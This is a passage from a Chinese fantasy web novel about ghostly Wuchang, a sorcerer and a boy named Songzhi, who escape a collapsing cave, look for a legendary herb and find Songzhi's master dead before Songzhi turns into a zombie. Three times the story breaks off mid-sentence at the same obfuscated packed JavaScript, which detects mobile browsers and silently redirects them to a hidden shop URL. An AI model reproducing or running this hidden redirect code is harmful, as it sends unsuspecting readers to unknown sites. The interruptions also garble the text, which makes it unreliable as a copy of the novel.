虽然能把松枝救下来最好,她还有事情想问;但假如实在没办法,盛情难却也没有要舍身陪葬的觉悟。 顷刻间离火堆只有几步之遥了,盛情难却都已准备好收留松枝死后飘散的魂魄。然而一阵乐声忽然响起,清越得生凉,犹如长风来,一时吹散了巫女幽幽的弦歌声。 木人的动作滞住,松枝忽然动弹了一下,眼睛一瞬。这次没有盛情难却的一指,他就自己醒了过来。 他的脖子还被勒着,艰难地从袖中取出那支木箫,直接掷入了火堆。 木箫没入火焰,无人吹奏而乐声不绝。理当幽咽的箫声此时愈发清亮昂扬,如同白鹤唳于高天之上,却出奇的平和。木人终于松开了袍袖。松枝咳嗽着疾步后退,转身往洞厅外跑去。盛情难却最后瞟了一眼,也随后跟了出去。 身后的箫声和巫歌还在格格不入地奏鸣。原本婉转的两首曲调俨然是两种术法在彼此倾轧,余波震动洞内的蝙蝠群,这些失去魂魄的小兽纷纷坠落于地,仿佛一场黑色的疾雨。 10. 去日苦多(一) “你知道那是什么地方么?”盛情难却挥袖放出几团青火,照亮了暗无天日的山洞。她在暗中也能视物,但松枝显然不能,昏暗中似乎踉跄了好几次,却连探骊珠都没想到拿出。盛情难却这一问半是字面意思,半是试探松枝神思是否还清楚。 “像是巫祝祭祀的地方……看那木人的装扮,所祭的应该是南地传说中的大司命。” 好在松枝对答条理清晰,看来至少已然摆脱了方才巫术的蛊惑。 “方才你说对巫术所知不多,原来还是知道一些的。” “知道这些有什么用!”松枝咬牙切齿地说着,气极般顿住步子,恨恨一拳捶在旁边的洞岩上。这番与他平常性情迥然不同的急躁突如其来,分明暂时远离了危险,他却好像更加焦虑不安起来。 他没有仙身,也不是什么钢筋铁骨,这一拳捶在石头上只发出了轻轻一声闷响,使得他泄愤般的举动反而显得无力。盛情难却只漠然地瞥了他一眼,不置一词。松枝也意识到自己的失态,很快撤下那副狰狞的表情,缓缓收起拳头。 就在他收手时,山洞中忽然响起了细微的簌簌声。异响引得两人都扭头寻找来源,随即发现在无常青火的微光下,洞壁上正蔓延一线裂纹,接着便如蛛网一般爬伸开去。 松枝呆了一下,看看自己有些发红的手,大概也有一瞬间以为自己觉醒了什么怪力。然后他忽然反应过来,“术法相冲——这个洞要塌了!” 他三言两语说得匆忙,但也不必再讲更多,两人立即动身往外赶去。箫声和歌声都已经听不见了,山洞的崩塌却没有停止,顶上开始掉下细碎的土石。这个绵延不知长短的山洞好似一条僵卧的巨蛇,而此刻它的脊骨被抽去,躯体便缓缓塌陷下去。 盛情难却拢了拢兜帽,那些掉下来的碎石径直穿过了她。无常自然是不会被活埋而死的,不过要从一堆石头里钻出去也是件麻烦事,她还不想主动体验这种感受。 铛——! 两人正埋头逃跑,猛然又是一阵声浪轰然袭来,不是来自身后,却是来自身前,几乎把跑在前头的松枝拍得要倒退一步。 这声音不仅巨大,而且刺耳,更无韵律和节奏可言,细听才能听出仿佛是铜铃声——不过恐怕没人愿意细听这破铃声。 “又是箫又是铃,还真是热闹。”盛情难却说。不过这回没人应和她偶尔的吐槽,松枝正全力捂住耳朵遮挡聒噪的铃声。 那莫名其妙的铜铃声先不论是不是什么妖法,它震耳欲聋得让人怀疑会直接震塌山洞。然而原本摇摇欲坠的山洞竟然反而渐渐安宁下来,可怖的裂纹停止了扩散,甚至缓缓弥合。 盛情难却兀地刹住脚步,引魂幡往前一横。 “吾辈——是吾辈呀——”来人生怕对面听不清,在铃声中大声喊道。 黑无常迎面现身,前头飞着的纸鹤扑扑翅膀,回旋半圈乖巧地停在他的肩膀上。春生秋杀看见完好无缺的两人,露出松了口气的神情,问候道:“二位都没什么大事吧?” “敢问这铃声是怎么回事?”松枝不堪其扰。 “吾辈与明瑟见到纸鹤引路,一路来到此处。谁知才走了没多久,这山洞不知为何竟要塌了。明瑟现在正行术法稳住土石,吾辈就先来看看前面的情况。” 他朝山洞前面探望了一眼,“虽说暂时不会塌方了,不过还是尽快出去为好。对了,这洞里面可还有什么危险?” “里面像是巫祝祭祀的古怪地方。春生秋杀,你能去把里面的一个木人带出来么?” 后半句话的要求,盛情难却说出口跟一贯一样的又平又突然。大约是因为情势紧迫,她连前因后果都没有解释。况且她本就是这种心里想得多,嘴上却懒得说的人。她这脾气大约也有从前被天衣无缝惯的缘故——反正无论她说什么,搭档的黑无常基本是无有不应的。 而春生秋杀竟也什么都没问。他原先带着点放松的笑意,听到盛情难却叫他名字,神情很有分寸地一敛,认真听罢后又微笑了起来。他眉眼漂亮得阴柔,笑起来却疏疏朗朗的不带阴鸷,清水一样荡涤心间,会让人觉得任何事都尽可以放心托付与他。 “那么,吾辈会快去快回的。” 留下这句轻快而又郑重的承诺,黑无常转眼间与她擦身而过。 “……左社右稷,不得妄惊。” 木明瑟又使劲摇了两下破铃铛,见山洞已稳固如初,终于泄了力,头昏脑胀地靠在身后的洞壁上。那铜铃声实在刺耳,而木明瑟自己则是最大的受害人,耳朵里嗡嗡不止。 他原本只是想喘口气,可还没歇多久,半垂的眼帘中,忽然一片白色的大袖招了招。 “又在偷懒?”传来清冷的少女声音。 “……哪有!我——咳咳。”木明瑟激动得想跳起来,可是气力不支,只挺了挺身子,还忍不住咳嗽了两声。 “开玩笑的。”盛情难却平静地说,“还走得动么?” 可是不等木明瑟回答,她已经左手一拂,拎住了木明瑟的后衣领。她个子比木明瑟矮去许多,也不知是怎么能把他拎起来的。 而木明瑟压根没感觉到她的力道,只觉得身子忽然就飘了起来。他下意识回头看了眼,怀疑是自己的魂魄被无常抓了起来,而肉身还留在原地。 他转回头,这才发现盛情难却右手还拎了一个人——松枝垂着脑袋面色不虞,难得的不再是一副老成持重的样子。 那时春生秋杀正要走,松枝忽然也转过身要回去,被盛情难却一手逮住。少年急忙朝黑无常的背影喊叫起来,请他试试顺便寻回那支木箫。尽管有些不方便,但为了防止横生枝节,盛情难却干脆直接提着他赶路了。 “哎,那个黑无常呢?” 过了一会,发现原先探路的春生秋杀一去未回,木明瑟不免有些困惑,终于忍不住问。 “他稍后就来。” 盛情难却动了动胳膊,下意识想按一按兜帽,忽然想起双手都拎小鸡崽似的拎着人,只得作罢。她微微垂下睫毛,明亮的光芒还是直直照到她眼底。 那不是鬼魅的火光,而是真正暖意洋洋的春日。 那场铺天盖地的暴雨仿佛石上的一滩水,在日光照耀下全然蒸发消失了,只有微风中摇曳的青翠草叶仿佛濯过水,绿得要往下流淌。 出了山洞,盛情难却终于把左右两人往地上一放,空出手来执着地拢了下帽子,然后仰头默默地观察天色。 “真是又快又稳啊!”木明瑟对白无常的运送服务大加赞扬。 “雨停了。”面对晴光,松枝的神色也转缓了些,但眉头仍然微微皱着,“时间想来耽搁了不少,得快些去找禊草了。” “呃……还要找么?”木明瑟已经挑了块干燥平坦的地方坐下,俨然一副要躺下睡个午觉的架势,“其实……” “其实我们——我也还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273337|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有找过多少地方。”松枝决断地抢过话头,忽然一拂袖,朝二人深深躬身,“因为我受巫蛊迷惑,劳烦了各位,实在抱歉。若是二位想要休息片刻也无妨,我身上还带着木公子的纸鹤,若发生什么事,会及时联络各位的。” “我要等春生秋杀出来。”盛情难却平淡地解释现下不与他同行的原因。 “我……刚刚施术太耗力气,确实得休息一下。”木明瑟眼神飘了飘,有点不好意思跟松枝对视,身体倒是很诚实地没挪窝。 松枝微微牵动嘴角,那张尚显稚气的脸上一向的高傲要强,此刻随着这一笑,悄无声息地化开了,流露出一点点掩饰不住的疲惫:“既然如此,日暮时再在这里会合吧。” 他又欠身一礼,转身抽剑斩开拦路的杂草,头也不回地走了。 “他……一个人真的没关系吗?”木明瑟手指搓来搓去揪起一根草,显然有点不安,“刚刚那个表情,好像找不到仙草他就要自尽谢罪了。” “随他去。这就是所谓执念吧。” 盛情难却袖手斜靠着引魂幡,眼珠略微偏向木明瑟那边,“倒是你没事么。” 木明瑟说什么乏累要休息,也没在胡说偷懒。他虽然还是在说说笑笑,脸色在这么好的阳光下却有些发白,看着确实有点气血亏虚——何况盛情难却能直接看到他的魂魄状况如何。 “没事没事,坐一会就好了。”木明瑟反而讪讪起来,固执地摆手示意并无大碍。 过了一会后盛情难却说:“你有镇山之能,就不能试着破除一城的阵法么?” 木明瑟不可思议地看着她,也忘了自己说的“没事”,捂着心口夸张地咳嗽了两声,“我才刚刚定住了半座山,你也太会差使人了吧!” 盛情难却也看着他。然后她忽然抬起手,轻轻摸了摸他的头顶。 “多谢了。”她浅笑着说。 “……” 木明瑟睁大眼睛,被她出人意料的举动惊得一时间不知所措。好一会儿他才反应过来,似乎努力想要说些什么来表达自己的感动之情,但最终只是有些慌乱道:“应该的应该的……总不能让你们被埋在里面嘛。不过一座山和一整座城差的还是远了点……要是老头子多教我几年,说不定我还能想想办法。” “我只是问问。你老师应该是再无能教你的本事,才放你下山的。” 盛情难却收起笑容,不再打扰他休息,静静地望着天空。木明瑟盘膝而坐,完全没花力气坐直,双肘撑在腿上,整个人像一坨软下来的面条。他维持着这种懒洋洋的坐姿,也抬起下巴深深地望着天空。两人的姿势竟有几分神似。 半晌后盛情难却又道:“你会看天象?” “咦?会倒是会……不过这大白天的,没有星象仪的话也看不到星星啊。”木明瑟挠挠头发,转过头来,脸上哪有什么深沉,只有一种清澈的天然呆,“莫非盛姑娘也会看星象?” “不会。”盛情难却说,“跟你一样。发呆罢了。” 两人正在进行毫无营养的对话时,沉寂已久的山洞中突然无声无息冲出了一道黑影。木明瑟虽然背对着洞口,却好似后脑勺长了眼睛,惊得跳起;而盛情难却只是挪了挪脚跟,正过脸对着来者。 “吾辈已经尽快处理了,让各位久等,惭愧惭愧。” 春生秋杀两条胳膊捧着一大堆东西,不得不偏过身子,从后边探出一张灿烂的笑脸。 12. 去日苦多(三) 盛情难却再次回到山洞口时,夕阳堪堪悬在山脉一线上,半边天空是放射绚烂的晚霞,半边天空已经爬上了沉沉的夜色,正是标准的日暮时分。 松枝临走前约在日暮时会合。暮色四合,勘察不便,的确到了该归家的时候。盛情难却对这个时刻虽然没有什么异议,不过若是要她来选,她大概不会选在黄昏见面。 这样的场景难免让她回想起初来江州城的那一天,也有人与她约在傍晚再见,结果再不能相见。从那时起,在渐渐下沉的落日下赴约,就好像一个不祥的兆头,给她留下了点足以称得上不快的印象。 不过这回迎接她的至少不是空荡荡的晚风。青衣少年坐在石头上,就好像从未离开过。他抱着腿,脑袋埋在膝盖里,摆出这种姿势的人一般要么在失声痛哭,要么在酣然入睡。木明瑟显然是后者。 盛情难却没有出声,也没有要叫醒他的打算,木明瑟却好像突然惊醒,猛地抬起头大声道:“我可没有偷懒!”目光炯炯,不是梦话。 “此地无银三百两。”盛情难却不客气地评价。 木明瑟抗辩道:“我真没偷懒……只不过回来得稍微早了点。” “没关系,我又不会向松枝告状。” 木明瑟换了一副殷勤的神色,挪挪身子空出半块石头,“盛姑娘奔波半天也累了吧,请坐请坐。” “无常不会累。”盛情难却面无表情地说,但还是走过去和木明瑟一样抱膝坐下。这个坐姿略显稚气,这样坐着的时候她看起来就像她的外表一样是个十六七的小姑娘。两人就这样默默地并肩坐着看晚霞渐渐烧尽,待到盛情难却复而开口说话时,无疑又是活了上百年的地府鬼差的口气,冷冷的不近人情,“你不是因为累了才提早回来的。” 她说话通常都直来直去,只是有时太言简意赅。此时木明瑟就没领会她话里的意思,有点迷茫地歪头看过去。 “是因为你觉得这里根本没有什么禊草。”盛情难却也转头看他。 木明瑟瞪大眼睛,急忙竖起一根手指示意不可声张,他紧张兮兮地张望一圈,大概是确保松枝不在附近,这才小声道:“这可别告诉松枝……话说松枝怎么还没回来?” 显然准时的只有盛情难却一个。赤色的夕阳已经完全沉了下去,不说春生秋杀,连松枝都不见踪影。 木明瑟再次环视四周,有点担忧:“他不像是那么不守时的人啊。” “你不是会术法么,算一卦就知道了。”盛情难却巍然不动,相当铁石心肠。 “这个……我不给人算命的。”出人意料的,木明瑟有些为难地拒绝了。 “为何?” 木明瑟哑然片刻,像是不好意思地笑了两声:“因为我算不准啦。” “你先前不是还给我看过相么?有什么不一样?” “看相和算命当然不一样。”他含糊其辞地回了一句,慢吞吞站起身,“要不我去找找松枝,如果纸鹤还在他身上,还是能有法子——” “不用了。”盛情难却说。 入夜后起了山风,满山都是簌簌的风声,像轮指一波波扫过琴弦。但在满山喧嚣中,一个沉重而凌乱的声音像是断弦的杂音,缓缓接近。 当白衣少年拨开草丛钻出来时,木明瑟微微退了半步,右手缩进了袖子里。尽管这个举动太过无礼,但这是年轻术师吃惊时本能的反应。 如果说从山洞离开时松枝的表现尚且是心神不安,那此刻他的脸色看起来几乎是失魂落魄,在暮色中暗淡得吓人,仿佛半日之间迅速消瘦了下去。之前这个倔强不愿示弱的少年向来都是略微昂着脑袋,步履生风,而现在他即使有心想要掩饰,也掩饰不了这副异样的状况了。 显然这就是松枝迟迟才出现的原因。 “我没事,走吧。”他低声说,在两人面前竭力挺直脊背。 “你——” 木明瑟正要开口询问,忽然感觉自己的衣袖被扯了一下。他下意识扭头看去,盛情难却抓着他的袖子,缓缓起身。在旁人看来,只是少女要借着这股力道站起来而已。 “没事,走吧。”她重复道。 “没、没事啊。”木明瑟极力控制表情,打着哈哈道:“确实该走了,不过那位黑无常还没回来……” “不用等他。”盛情难却毫无波澜道,听不出是信任还是嫌弃,“他说过能找到我们。” 松枝转头面向茫茫山林,仿佛不愿让别人看他憔悴的模样:“木公子,能用缩地术么?” “先前稳固山石耗费法力有点大,现在若要带着人瞬移的话恐怕有点危险。”木明瑟明显有点犹豫。他看着少年伶仃的背影,迟疑过后咬了咬牙,“不过——” “不要勉强。”盛情难却打断他,心想一个两个都喜欢逞强,“万一施术失败反而糟糕。” “我也没说要勉强呀。”木明瑟愣了愣,叹了口气,“我只是想说不过画两张疾行符还是没问题的。” 在他低头草草画符的时候,盛情难却悄无声息地上前,手执的引魂幡轻飘飘拂过松枝肩头。 只有她能看见,少年身上残存的魂魄在白幡下重新聚拢了些许,像将灭的火苗一般流逸不定。 来时木明瑟转瞬之间缩地成寸,而此刻三人步行返程,才发现山路漫漫,绝非一时半刻可以回到城内客栈。况且天色黑下来,松枝身体又欠佳,即使有疾行符襄助,但下山的速度依然不快。 “我可以拎着你们走。不过要携你们两具肉身而非魂魄,穿梭在山林间也不轻便。” 察觉到木明瑟欲言又止的目光,盛情难却如是说。 木明瑟从刚才起就满脸一副纠结的神情,借着盛情难却说话打破寂静的这一刻,他突然跳到松枝身边:“松枝我看你面色不好,像是被山上的毒草划伤了,我现在给你一帖祛毒符吧!”然后以迅雷不及掩耳之势将一张符箓拍在了松枝额头,动作快得像是担心被人看清。 平心而论,木明瑟这番话作假得有目共睹,所以他很有自知之明地立即转了话题:“对了松枝……你当初是怎么遇见你师父的?” 这是他情急之下随口扯的话,他与松枝算不得很熟,也只能勉强想出这个话头来。盛情难却有点想叹气了。木明瑟似乎有种天赋,每当他要没话找话时,找的话总是……不如不说。 这也不能怪木明瑟冒失,只是她身为无常,一开始便能看清许多常人不能见的东西。 “我与师父是在路边遇到的。” 几息之后,松枝开口了。他的声线很平稳,然而接下来他以出人意料的后半句话结束了故事:“其余的记不太清了。恐怕是时间太久忘了吧。” 这潦草的结尾并非敷衍或者故意隐瞒。松枝向来的心高气傲让他不屑于说谎,哪怕是现在。 从木明瑟发问时,盛情难却握着引魂幡的手就微微收紧了。听到松枝说记不得,她的动作放松下来,转而脸上露出若有所思的表情。 屏息静听的木明瑟却大失所望:“怎会记不清呢?这应该是很重要的记忆吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281944|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忘掉也太可惜了……我跟老头子遇见那天,他号称只要跟着他顿顿都有肉吃,我可一直记到现在!你若是因为时间太久忘了,我会一种探察记忆的术法,之后要不要试试,说不定可以想起来呢。” 乍听木明瑟是在胡言乱语,但盛情难却看出来他是想依靠回忆稳住松枝的心神——说不定更严重,他以为松枝已经神志不清到开始失忆了。 “操纵记忆的术法……是禁术吧?”松枝淡淡地质疑。 “是么?”木明瑟认真道,“我师父说术法并无好坏之分,好坏全在人心。” “好坏全在人心,可是人心易变。令师能将这些教给您,是看出您不会作恶。”松枝摇摇头,“您不必为我施术,既然已经忘记了,想来也不是重要的事。再说想要知道的话,回去直接问我师父就好了。” 他抓住一根树枝,跳下一道土坡。虽然贴有疾行符,但他的动作明显比平常多几分迟缓,险些摔倒。 原先盛情难却用青火照明,但木明瑟说这种阴阴的磷火看着实在渗人,于是燃起了自己的符火。但在温暖的金火照耀下,松枝的脸色依然隐约泛着青灰色。 像一片秋叶缓缓枯萎,不可逆转,只能看着它最终落下梢头。 木明瑟一言难尽地朝盛情难却挤眉弄眼,盛情难却无视了。 “各位走得好快啊!”后面遥遥传来一个声音。 盛情难却没有告诉春生秋杀何时何地会面,也不知他是怎么找到先走的一行人的。 三人驻足回头,见春生秋杀兴冲冲赶来。他看到形容怪异的松枝,似乎只是微微愣了一下,随后依然笑着亮出手中的东西。 他手里是一株草。见到它的一瞬间,所有人都忽然想到志异录里那句形容—— “状如风”。 与其说草,更像是一片羽毛,却又比羽毛更加松散,在微风中轻轻颤动。千丝万缕的风就在颤动的草叶上一刹显形。 “吾辈也不知道这是不是禊草。不过见它长在深山清泉边,又如记载中一般状貌奇异如风,便采来了。”春生秋杀笑吟吟地说。 松枝伸手小心地接过草叶,他的表情柔和下来,一瞬间几乎神采奕奕到让人误以为传说中禊草长生的功效已经在他身上发挥了作用。 “承各位之恩,感激不尽。”他低声说。 一边的木明瑟却偷偷皱着眉。他自打方才见到松枝起,就时不时一副满腹话却又说不出口的模样。而眼下他不能说的话似乎又多了几句。 “费这么多力气去找,辛苦你了。”盛情难却道。如果这句话春生秋杀再认为她是在阴阳怪气,那就有点冤枉了。她当真有点惊讶,本来以为这位黑无常只会口头做做样子。 “虽说在山里奔波了两日,不过要是这是真的仙草,自然是值当的。何况吾辈是无常啊,哪有辛苦一说。” “……两日?”松枝突然说。 “是啊。”春生秋杀有些讶异地扭头看了他一眼,“莫非松枝你没有察觉到么?” 木明瑟见松枝还是一脸错愕,补充道:“先前我们所进的那个山洞……应该是巫术所致,洞中的时间流逝似乎与外界不同。” 所以他们离开洞穴时,洞外几乎不见暴雨的痕迹,是因为已经足足一日过去了。时间如同骤雨一般,来去匆匆,倏尔已蒸发殆尽。 “所以,现在已是三月初四了。”春生秋杀微微仰起头。树叶的缝隙间,隐约可见一钩细月,星气凛冽,“或者说……再过一个时辰,就是三月初五了。” 13. 曲终人散(一) 一行人终于离开更远山时,甫一踩到平地,松枝的脚步明显仓皇了几分。 “松枝你别着急,反正你师父在那里又不会跑掉。”木明瑟见他踉踉跄跄,实在担心他摔倒,忍不住开口道。 “已经过去两日了,我……”松枝深吸了一口气,“我想要快点见到师父。” 他脸上的表情微微扭曲,急切中带着隐隐的恐惧,绝不是想念师父这么简单。仿佛他不知不觉错过的不只是两天的时间,还有更为沉重、更不可追及的东西。 “对了松枝,这块玉玦是你丢的么?” 盛情难却突然出声,手指上吊着那块白玉玦晃了晃。但她目光并未落在松枝身上,而是平平地扫过所有人。 她从未跟任何人提起过玉玦的事,现下她忽然亮出此物,所有人的视线都汇聚在那弯小小的玉玦上。 然而松枝只瞥了一眼,很快给出了回答,“这玉玦是师父的。” “是么。”盛情难却出乎意料的冷淡。 这玉玦掉在天衣无缝死去之地的不远处,虽然或许只是个巧合,但若说黑无常被杀有什么线索的话,也只可能是它。而她一度以为玉玦是松枝遗落的东西。在更远山中时,她主动与松枝一起行动,也不过是为了观察和试探他。 说到底,她之所以猜忌松枝,是因为他一开始便对无常有着近乎杀意的厌恶。却不想玉玦居然是诸无所有……那位半仙豁达洒脱,也可能是凶手或者帮凶么? 毕竟诸无看似与世间事物都毫无羁绊,但她知道这位半仙还是有一样足以称得上在意的。 “玦同缺,象征断绝、离别、盛极必衰,本是不好的寓意。但师父偏偏喜欢那句‘授珮玦者,事至而断’,他佩着这块玉玦,以示不受他物牵绊,当断则断。”松枝大概以为盛情难却在怀疑他的话,于是解释道,“师父前几日丢了这块玉玦,但他对这些东西向来不在乎,因此也没有用心寻回……只是怎么会在盛情大人手上?” “路边捡到的。没想到诸无也会乱扔东西。”盛情难却还是没有起伏的语调。 “师父才不会丢三落四。”松枝反驳,“这玉玦应当是在与恶鬼的交手中不慎断裂掉落的。” “恶鬼?”白无常的语气终于出现了一丝波动。 “前几日我与师父在街上忽然遇到恶鬼袭击,师父跟它交战一阵后,它就逃开了。” “逃开了……”盛情难却重复,“那恶鬼长什么样?” “我灵力浅薄,看不太清。不过应该是一只红衣女鬼。”松枝回忆道。他怔了怔,脸上忽然又浮现出了略带紧张的神色。 “我与……前几日也遇到过一只红衣女鬼。”盛情难却淡淡地说,她的语气又平板起来,“虽然不知道是否是同一只,不过我遇到的那只鬼已被诛杀。” “松枝,你师父是仙人么?吾辈听闻当世真正修炼为仙者屈指可数。”春生秋杀突然插话。 “师父虽未成仙了道,不过也是半仙之身。” “那令师仙法也应当十分了得了。”春生秋杀若有所思,“不过……我们遇到的那只鬼实力算不得十分高强,它真能袭击半仙后全身而退么?” 他转而又轻松地笑了起来,像是安慰一般道:“或许是令师当时身体抱恙,又心怀仁慈,这才让那只鬼侥幸脱逃,又让我们遇到。” 松枝沉默片刻,摊开手掌,“还请盛情大人将玉玦归还,待会我好将其交还给师父。” 盛情难却也没有什么踌躇,直接将玉玦放在松枝手上。然后她面无表情道:“玉是有灵之物,这块玉玦上萦绕着一缕死气,其主命不久矣。” 木明瑟惊恐地看向直言无忌的白无常,倒是春生秋杀不慌不忙地打圆场:“盛情你就莫要吓唬小孩子了,无常哪能直接看到死期。” 而松枝只是静静看着掌心中的玉玦。白玉无瑕,比玉环缺了一口,像是一轮透明的残月,在冷夜中莹然生辉。 “其实我也不喜欢玉玦。”他轻声说,将白玉玦收入袖中。 当“如意客栈”的招牌再次映入眼帘时,天边已经浮起了微亮的晨曦。 “终于回来了……”木明瑟情不自禁地长出一口气。他这句感叹一半是因为众人平安归来,一半恐怕是他迫不及待想倒回床铺睡上一觉——通宵未眠,还是通了两个宵,他显然苦不堪言。 不过他终究还是没有直扑自己房间。相比之下,松枝甚至比他更加着急,三步并作两步迈入客栈。其余三人都不约而同地跟在他身后。 客栈中还是一如既往的安静,然而在整座江州城的寂静中倒也稀松平常。这种漫长的安静转瞬被落雨般的脚步声打破了。松枝疾步上楼,动作出奇的矫捷,他穿过半道走廊,一手径直按上房门。 “不——” 木明瑟大概是想说“不先敲门吗”,但他还没来得及把话说出口,松枝已经一把推开了没有落锁的房门。 屋内陈设普通,是一间再寻常不过的客栈房间,只是有些凌乱,能看出有人居住过的痕迹。白袍的男子和衣躺在床上,在水色的晨光中似乎睡得正深,连四人闯进房间的动静都未惊醒他。 ……如此宁静祥和,就仿佛他心口处被刺穿而留下的空洞,只不过是衣裳破了一个口子而已。 房间里又静了下来,只是静默中已远非清晨的安宁。空气中弥漫的惊骇仿佛是被这股庞大的寂静所压,只是无声地闪过几人眼中。 松枝愣愣地站定,几息后便快步走近床边,伸手探了探诸无的鼻息。随后转身回到桌边,提起茶壶倒了一杯清水,拿出禊草泡入水中。这一系列动作他都做得如行云流水,既没有悚然失措,也没有悲恸几绝。 就在他要拿起杯子时,他的手被人按住了。 松枝依然牢牢捏着茶杯,抬头无声地盯着木明瑟。而青衣术师平时那副慵懒天然的样子一扫而空,面色戚然地直视着他。 “这不是传说中的仙草。我自小在山上长大,也许对别的所知不多,可是对山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296785|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中草木最为了解。这是一株鸩羽草,不仅没有药效,反倒含有毒性。”木明瑟顿了顿,“而且江州城如今一片混沌,食物皆不能入口。就算这是药草,吃下去说不定会适得其反。” “……哈哈哈。” 大概是觉得十分荒谬可笑,松枝竟然笑出了声。很快这古怪的笑声也消散在空寂中,他轻轻放下茶杯,“我明白了,木公子,可以松开我了。” 木明瑟依言松手,只是神色中仍然有些不放心。松枝默默整了整袍袖,忽然朝木明瑟长揖一拜:“木公子术法有天纵之才,可有办法救我师父?” 木明瑟没有扶他,只是叹了口气肃然道:“若是你师父还有一息尚存,我也定当尽力而为。但如今就算是我家老头子来,也做不到真正的起死回生。” 松枝直起身,又转而朝两位黑白无常长揖下去:“盛情大人,春生大人,无常既然尚未勾魂,想来我师父魂魄尚存,能否使他还魂?” “诸无寿数已尽,就算他魂魄尚在,我也无权令其还魂;只能引他魂魄入冥府过黄泉,投胎转世。”盛情难却不动声色地说,“况且现在诸无已经魂飞魄散,根本无魂可勾。” 这次松枝久久没有起身。一片寂静中,他身体微微发抖,呼吸声越来越急促,突然间少年一直以来的冷静崩溃了,爆发出一声凄厉的嘶吼: “为什么!为什么——” 这声喊叫似乎凝聚了他毕生的不甘与哀凉,像孤雁陡然被一箭穿心,到最后他的声音已经变调扭曲到不似人类。松枝猛地抬起头!他的脸色全然转为怪异的死灰,脸颊上的肌肉迅速消瘦或者说枯萎下去,一股腐烂的气息直扑而来。 这绝非突发恶疾,也不是什么中毒;原先持礼守节、傲然如剑的少年彻底变成了一具活死人! 僵尸又发出了一声含混的嘶吼,似乎想朝三人走近一步。然而原先木明瑟贴在他额头上的符箓转瞬间绽开淡淡的金色光华,朱砂绘的符文鲜红灼目。无形的符箓之威几乎同时镇住了僵尸的行动。 这张符箓不是木明瑟当初口中所谓的解毒符,而从头到尾就是一张镇压符! “有这张符镇着,他不能伤人。” 木明瑟随手拉过一把椅子坐下,脸色也有点灰暗,一副身累心更累的模样,“傍晚我看到松枝时,就感觉他有类似尸变的征兆。我是术师不是医师,也没有治疗的法子,只能提前贴了张束灵符,免得他突然变作僵尸暴起伤人。松枝应该也是明白自己身体有什么异样,才没有揭掉这张符。” 他把泡着鸩羽草的那杯水泼在地上,又叹了口气,“可是我不明白原因……活人一般是被僵尸咬了才会变成僵尸。难道更远山里面藏着僵尸?但如果松枝是被僵尸咬了,怎么又一声不吭呢?” 盛情难却无动于衷地看着苟延残喘的僵尸。自始至终,她对松枝突然的异变都没有半点反应。听到木明瑟道出疑惑,她才不咸不淡地开口:“因为他本来就是一具活死尸,现在只是变回原貌罢了。” 14. 曲终人散(二) 四十九年前,大奉北境某无名小道。 正值子夜,天中又飘着细雪。但即使是白天,一般的旅人也是不愿从这条山路上走的,毕竟山深林密,就算遇不到吃人的野兽,也怕撞上什么妖精鬼魅。独身的旅人不走,车马结群的商队更是嫌山路狭窄,宁可从山脚绕半个圈过去。 然而在这个雪夜,这条人迹罕至的小路上却很不合时宜地出现了一个人影。 白衣飘飘的男子提着一盏灯笼,一边走竟然还一边吟唱着某种歌谣。他唱歌不是为了壮胆,似乎只是兴致所至,便唱起了路途中听来的民歌: 瞻彼日月,悠悠我思。道之云远,曷云能来? 百尔君子,不知德行。不忮不求,何用不臧? 男子大概在曲乐上造诣颇深,歌声悠远清和,尽管是随兴所唱,但恐怕连那些名满帝都的歌者听了都要甘拜下风。只不过他唱的原本是一首悲哀的恋歌,但他的歌声中既无哀意,也无恋心,只有远天一般的辽阔豁达。歌声不能说不动听,听来却让人心中生凉,不能动情。 仙人风姿的白衣男子就这样且唱且行。原本阴森可怖的密林今夜分外安宁,仿佛满山的鸟兽精怪都静伏不动,聆听这一曲清音。 诸无走得并不着急。也幸亏他脚步慢,否则可能一脚就踢上路中央拦着的东西了。 灯笼的微光下,突然出现在路上的东西乍看是一截枯枝;但这根“枯枝”却在蠕动——这竟然是一条人的胳膊! 说是人,似乎又不太准确。这条胳膊呈现出奇怪的青灰色,却不是因为沾染了草灰泥土;手臂上肌肉都已经萎缩,但似乎还有着不小的力气。 “嗯?”诸无停下脚步。他虽然在暗中也能视物,但还是习惯性地举起灯笼照去。 原来拦路的是一个僵尸。依稀是个年纪不大的少年,看样子成为僵尸也没有过很久,身上衣物尚算完好。僵尸少年嘴巴一开一合,快速朝诸无爬来——它的另一条胳膊和一条腿居然都不见了,不知是被啃食了还是自己腐烂了。因此它无法站立,只能通过爬行移动。 在离诸无脚边还有几寸的时候,僵尸少年再也无法前进了。 